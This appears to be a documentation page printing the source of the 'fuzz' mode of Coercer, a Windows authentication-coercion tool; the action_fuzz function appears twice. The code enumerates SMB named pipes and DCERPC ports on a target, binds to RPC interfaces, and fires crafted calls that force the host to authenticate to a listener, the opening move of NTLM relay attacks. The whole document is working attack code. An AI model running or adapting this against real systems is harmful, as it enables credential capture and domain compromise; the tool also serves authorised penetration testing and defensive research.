coercer.core.modes.fuzz

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : fuzz.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_templates, generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_and_catch_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface, list_remote_pipes
 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port
 16from coercer.network.rpc import portmap_discover, is_port_open, can_bind_to_interface_on_port
 17
 18
 19def action_fuzz(target, available_methods, options, credentials, reporter):
 20    filter = Filter(
 21        filter_method_name=options.filter_method_name,
 22        filter_protocol_name=options.filter_protocol_name,
 23        filter_pipe_name=options.filter_pipe_name
 24    )
 25
 26    http_listen_port = 0
 27
 28    # Preparing pipes ==============================================================================================================
 29
 30    named_pipe_of_remote_machine = []
 31    ports = set()
 32    if "msrpc" in options.filter_transport_name:
 33        if credentials.is_anonymous():
 34            reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes")
 35            named_pipe_of_remote_machine = [
 36                r'\PIPE\atsvc',
 37                r'\PIPE\efsrpc',
 38                r'\PIPE\epmapper',
 39                r'\PIPE\eventlog',
 40                r'\PIPE\InitShutdown',
 41                r'\PIPE\lsass',
 42                r'\PIPE\lsarpc',
 43                r'\PIPE\LSM_API_service',
 44                r'\PIPE\netdfs',
 45                r'\PIPE\netlogon',
 46                r'\PIPE\ntsvcs',
 47                r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
 48                r'\PIPE\scerpc',
 49                r'\PIPE\spoolss',
 50                r'\PIPE\srvsvc',
 51                r'\PIPE\VBoxTrayIPC-Administrator',
 52                r'\PIPE\W32TIME_ALT',
 53                r'\PIPE\wkssvc'
 54            ]
 55            if options.verbose:
 56                print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine))
 57        else:
 58            named_pipe_of_remote_machine = list_remote_pipes(target, credentials)
 59            if options.verbose:
 60                print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine))
 61        kept_pipes_after_filters = []
 62        for pipe in named_pipe_of_remote_machine:
 63            if filter.pipe_matches_filter(pipe):
 64                kept_pipes_after_filters.append(pipe)
 65        if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous():
 66            print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name)
 67            return None
 68        elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous():
 69            print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name)
 70            return None
 71        else:
 72            named_pipe_of_remote_machine = kept_pipes_after_filters
 73    if "dcerpc" in options.filter_transport_name:
 74        portmap = portmap_discover(target, options.dce_port)
 75        for uuid in portmap.get("ncacn_ip_tcp",[]):
 76            for port in portmap["ncacn_ip_tcp"][uuid]:
 77                ports.add(port)
 78
 79    # Preparing tasks ==============================================================================================================
 80
 81    tasks = {}
 82    for method_type in available_methods.keys():
 83        for category in sorted(available_methods[method_type].keys()):
 84            for method in sorted(available_methods[method_type][category].keys()):
 85                instance = available_methods[method_type][category][method]["class"]
 86
 87                if filter.method_matches_filter(instance):
 88                    for access_type, access_methods in instance.access.items():
 89                        if access_type not in tasks.keys():
 90                            tasks[access_type] = {}
 91
 92                        # Access through SMB named pipe
 93                        if access_type == "ncan_np":
 94                            for access_method in access_methods:
 95                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 96                                if uuid not in tasks[access_type].keys():
 97                                    tasks[access_type][uuid] = {}
 98
 99                                if version not in tasks[access_type][uuid].keys():
100                                    tasks[access_type][uuid][version] = []
101
102                                if instance not in tasks[access_type][uuid][version]:
103                                    tasks[access_type][uuid][version].append(instance)
104                        elif access_type == "ncacn_ip_tcp":
105                            for access_method in access_methods:
106                                uuid, version = access_method["uuid"], access_method["version"]
107                                if uuid not in tasks[access_type].keys():
108                                    tasks[access_type][uuid] = {}
109
110                                if version not in tasks[access_type][uuid].keys():
111                                    tasks[access_type][uuid][version] = []
112
113                                if instance not in tasks[access_type][uuid][version]:
114                                    tasks[access_type][uuid][version].append(instance)
115
116    # Executing tasks =======================================================================================================================
117
118    listening_ip = get_ip_addr_to_listen_on(target, options)
119    if options.verbose:
120        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
121    exploit_paths = generate_exploit_templates()
122
123    # Processing ncan_np tasks
124    if len(tasks.keys()) == 0:
125        return None
126    if "dcerpc" in options.filter_transport_name:
127        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
128        for port in ports:
129            if is_port_open(target, port):
130                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
131                for uuid in sorted(ncacn_ip_tcp_tasks.keys()):
132                    for version in sorted(ncacn_ip_tcp_tasks[uuid].keys()):
133                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
134                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
135
136                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[uuid][version], key=lambda x: x.function["name"]):
137                                
138                                if options.only_known_exploit_paths:
139                                    exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
140
141                                stop_exploiting_this_function = False
142                                for listener_type, exploitpath in exploit_paths:
143
144                                    if stop_exploiting_this_function:
145                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
146                                        continue
147                                    if listener_type == "http":
148                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
149
150                                    exploitpath = generate_exploit_path_from_template(
151                                        template=exploitpath,
152                                        listener=listening_ip,
153                                        http_listen_port=http_listen_port,
154                                        smb_listen_port=options.smb_port
155                                    )
156
157                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
158                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
159                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
160
161                                    if dcerpc.session is not None:
162                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
163                                        if dcerpc.session is not None:
164                                            reporter.print_testing(msprotocol_rpc_instance)
165
166                                            result = trigger_and_catch_authentication(
167                                                options=options,
168                                                dcerpc_session=dcerpc.session,
169                                                target=target,
170                                                method_trigger_function=msprotocol_rpc_instance.trigger,
171                                                listenertype=listener_type,
172                                                listen_ip=listening_ip,
173                                                http_port=http_listen_port
174                                            )
175
176                                            reporter.report_test_result(
177                                                uuid=uuid, version=version, namedpipe=namedpipe,
178                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
179                                                result=result,
180                                                exploitpath=exploitpath
181                                            )
182
183                                            if result == TestResult.NCA_S_UNK_IF:
184                                                stop_exploiting_this_function = True
185
186                                    if options.delay is not None:
187                                        # Sleep between attempts
188                                        time.sleep(options.delay)
189                        else:
190                            if options.verbose:
191                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
192            else:
193                if options.verbose:
194                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
195
196    if "msrpc" in options.filter_transport_name:
197        ncan_np_tasks = tasks["ncan_np"]
198        for namedpipe in sorted(named_pipe_of_remote_machine):
199            if can_connect_to_pipe(target, namedpipe, credentials):
200                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
201                for uuid in sorted(ncan_np_tasks.keys()):
202                    for version in sorted(ncan_np_tasks[uuid].keys()):
203                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
204                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
205
206                            for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]):
207
208                                if options.only_known_exploit_paths:
209                                    exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
210
211                                stop_exploiting_this_function = False
212                                for listener_type, exploitpath in exploit_paths:
213
214                                    if stop_exploiting_this_function:
215                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
216                                        continue
217                                    if listener_type == "http":
218                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
219
220                                    exploitpath = generate_exploit_path_from_template(
221                                        template=exploitpath,
222                                        listener=listening_ip,
223                                        http_listen_port=http_listen_port,
224                                        smb_listen_port=options.smb_port
225                                    )
226
227                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
228                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
229                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
230
231                                    if dcerpc.session is not None:
232                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
233                                        if dcerpc.session is not None:
234                                            reporter.print_testing(msprotocol_rpc_instance)
235
236                                            result = trigger_and_catch_authentication(
237                                                options=options,
238                                                dcerpc_session=dcerpc.session,
239                                                target=target,
240                                                method_trigger_function=msprotocol_rpc_instance.trigger,
241                                                listenertype=listener_type,
242                                                listen_ip=listening_ip,
243                                                http_port=http_listen_port
244                                            )
245
246                                            reporter.report_test_result(
247                                                uuid=uuid, version=version, namedpipe=namedpipe,
248                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
249                                                result=result,
250                                                exploitpath=exploitpath
251                                            )
252
253                                            if result == TestResult.NCA_S_UNK_IF:
254                                                stop_exploiting_this_function = True
255
256                                    if options.delay is not None:
257                                        # Sleep between attempts
258                                        time.sleep(options.delay)
259                        else:
260                            if options.verbose:
261                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
262            else:
263                if options.verbose:
264                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_fuzz(target, available_methods, options, credentials, reporter):
 20def action_fuzz(target, available_methods, options, credentials, reporter):
 21    filter = Filter(
 22        filter_method_name=options.filter_method_name,
 23        filter_protocol_name=options.filter_protocol_name,
 24        filter_pipe_name=options.filter_pipe_name
 25    )
 26
 27    http_listen_port = 0
 28
 29    # Preparing pipes ==============================================================================================================
 30
 31    named_pipe_of_remote_machine = []
 32    ports = set()
 33    if "msrpc" in options.filter_transport_name:
 34        if credentials.is_anonymous():
 35            reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes")
 36            named_pipe_of_remote_machine = [
 37                r'\PIPE\atsvc',
 38                r'\PIPE\efsrpc',
 39                r'\PIPE\epmapper',
 40                r'\PIPE\eventlog',
 41                r'\PIPE\InitShutdown',
 42                r'\PIPE\lsass',
 43                r'\PIPE\lsarpc',
 44                r'\PIPE\LSM_API_service',
 45                r'\PIPE\netdfs',
 46                r'\PIPE\netlogon',
 47                r'\PIPE\ntsvcs',
 48                r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
 49                r'\PIPE\scerpc',
 50                r'\PIPE\spoolss',
 51                r'\PIPE\srvsvc',
 52                r'\PIPE\VBoxTrayIPC-Administrator',
 53                r'\PIPE\W32TIME_ALT',
 54                r'\PIPE\wkssvc'
 55            ]
 56            if options.verbose:
 57                print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine))
 58        else:
 59            named_pipe_of_remote_machine = list_remote_pipes(target, credentials)
 60            if options.verbose:
 61                print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine))
 62        kept_pipes_after_filters = []
 63        for pipe in named_pipe_of_remote_machine:
 64            if filter.pipe_matches_filter(pipe):
 65                kept_pipes_after_filters.append(pipe)
 66        if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous():
 67            print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name)
 68            return None
 69        elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous():
 70            print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name)
 71            return None
 72        else:
 73            named_pipe_of_remote_machine = kept_pipes_after_filters
 74    if "dcerpc" in options.filter_transport_name:
 75        portmap = portmap_discover(target, options.dce_port)
 76        for uuid in portmap.get("ncacn_ip_tcp",[]):
 77            for port in portmap["ncacn_ip_tcp"][uuid]:
 78                ports.add(port)
 79
 80    # Preparing tasks ==============================================================================================================
 81
 82    tasks = {}
 83    for method_type in available_methods.keys():
 84        for category in sorted(available_methods[method_type].keys()):
 85            for method in sorted(available_methods[method_type][category].keys()):
 86                instance = available_methods[method_type][category][method]["class"]
 87
 88                if filter.method_matches_filter(instance):
 89                    for access_type, access_methods in instance.access.items():
 90                        if access_type not in tasks.keys():
 91                            tasks[access_type] = {}
 92
 93                        # Access through SMB named pipe
 94                        if access_type == "ncan_np":
 95                            for access_method in access_methods:
 96                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 97                                if uuid not in tasks[access_type].keys():
 98                                    tasks[access_type][uuid] = {}
 99
100                                if version not in tasks[access_type][uuid].keys():
101                                    tasks[access_type][uuid][version] = []
102
103                                if instance not in tasks[access_type][uuid][version]:
104                                    tasks[access_type][uuid][version].append(instance)
105                        elif access_type == "ncacn_ip_tcp":
106                            for access_method in access_methods:
107                                uuid, version = access_method["uuid"], access_method["version"]
108                                if uuid not in tasks[access_type].keys():
109                                    tasks[access_type][uuid] = {}
110
111                                if version not in tasks[access_type][uuid].keys():
112                                    tasks[access_type][uuid][version] = []
113
114                                if instance not in tasks[access_type][uuid][version]:
115                                    tasks[access_type][uuid][version].append(instance)
116
117    # Executing tasks =======================================================================================================================
118
119    listening_ip = get_ip_addr_to_listen_on(target, options)
120    if options.verbose:
121        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
122    exploit_paths = generate_exploit_templates()
123
124    # Processing ncan_np tasks
125    if len(tasks.keys()) == 0:
126        return None
127    if "dcerpc" in options.filter_transport_name:
128        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
129        for port in ports:
130            if is_port_open(target, port):
131                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
132                for uuid in sorted(ncacn_ip_tcp_tasks.keys()):
133                    for version in sorted(ncacn_ip_tcp_tasks[uuid].keys()):
134                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
135                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
136
137                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[uuid][version], key=lambda x: x.function["name"]):
138                                
139                                if options.only_known_exploit_paths:
140                                    exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
141
142                                stop_exploiting_this_function = False
143                                for listener_type, exploitpath in exploit_paths:
144
145                                    if stop_exploiting_this_function:
146                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
147                                        continue
148                                    if listener_type == "http":
149                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
150
151                                    exploitpath = generate_exploit_path_from_template(
152                                        template=exploitpath,
153                                        listener=listening_ip,
154                                        http_listen_port=http_listen_port,
155                                        smb_listen_port=options.smb_port
156                                    )
157
158                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
159                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
160                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
161
162                                    if dcerpc.session is not None:
163                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
164                                        if dcerpc.session is not None:
165                                            reporter.print_testing(msprotocol_rpc_instance)
166
167                                            result = trigger_and_catch_authentication(
168                                                options=options,
169                                                dcerpc_session=dcerpc.session,
170                                                target=target,
171                                                method_trigger_function=msprotocol_rpc_instance.trigger,
172                                                listenertype=listener_type,
173                                                listen_ip=listening_ip,
174                                                http_port=http_listen_port
175                                            )
176
177                                            reporter.report_test_result(
178                                                uuid=uuid, version=version, namedpipe=namedpipe,
179                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
180                                                result=result,
181                                                exploitpath=exploitpath
182                                            )
183
184                                            if result == TestResult.NCA_S_UNK_IF:
185                                                stop_exploiting_this_function = True
186
187                                    if options.delay is not None:
188                                        # Sleep between attempts
189                                        time.sleep(options.delay)
190                        else:
191                            if options.verbose:
192                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
193            else:
194                if options.verbose:
195                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
196
197    if "msrpc" in options.filter_transport_name:
198        ncan_np_tasks = tasks["ncan_np"]
199        for namedpipe in sorted(named_pipe_of_remote_machine):
200            if can_connect_to_pipe(target, namedpipe, credentials):
201                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
202                for uuid in sorted(ncan_np_tasks.keys()):
203                    for version in sorted(ncan_np_tasks[uuid].keys()):
204                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
205                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
206
207                            for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]):
208
209                                if options.only_known_exploit_paths:
210                                    exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
211
212                                stop_exploiting_this_function = False
213                                for listener_type, exploitpath in exploit_paths:
214
215                                    if stop_exploiting_this_function:
216                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
217                                        continue
218                                    if listener_type == "http":
219                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
220
221                                    exploitpath = generate_exploit_path_from_template(
222                                        template=exploitpath,
223                                        listener=listening_ip,
224                                        http_listen_port=http_listen_port,
225                                        smb_listen_port=options.smb_port
226                                    )
227
228                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
229                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
230                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
231
232                                    if dcerpc.session is not None:
233                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
234                                        if dcerpc.session is not None:
235                                            reporter.print_testing(msprotocol_rpc_instance)
236
237                                            result = trigger_and_catch_authentication(
238                                                options=options,
239                                                dcerpc_session=dcerpc.session,
240                                                target=target,
241                                                method_trigger_function=msprotocol_rpc_instance.trigger,
242                                                listenertype=listener_type,
243                                                listen_ip=listening_ip,
244                                                http_port=http_listen_port
245                                            )
246
247                                            reporter.report_test_result(
248                                                uuid=uuid, version=version, namedpipe=namedpipe,
249                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
250                                                result=result,
251                                                exploitpath=exploitpath
252                                            )
253
254                                            if result == TestResult.NCA_S_UNK_IF:
255                                                stop_exploiting_this_function = True
256
257                                    if options.delay is not None:
258                                        # Sleep between attempts
259                                        time.sleep(options.delay)
260                        else:
261                            if options.verbose:
262                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
263            else:
264                if options.verbose:
265                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)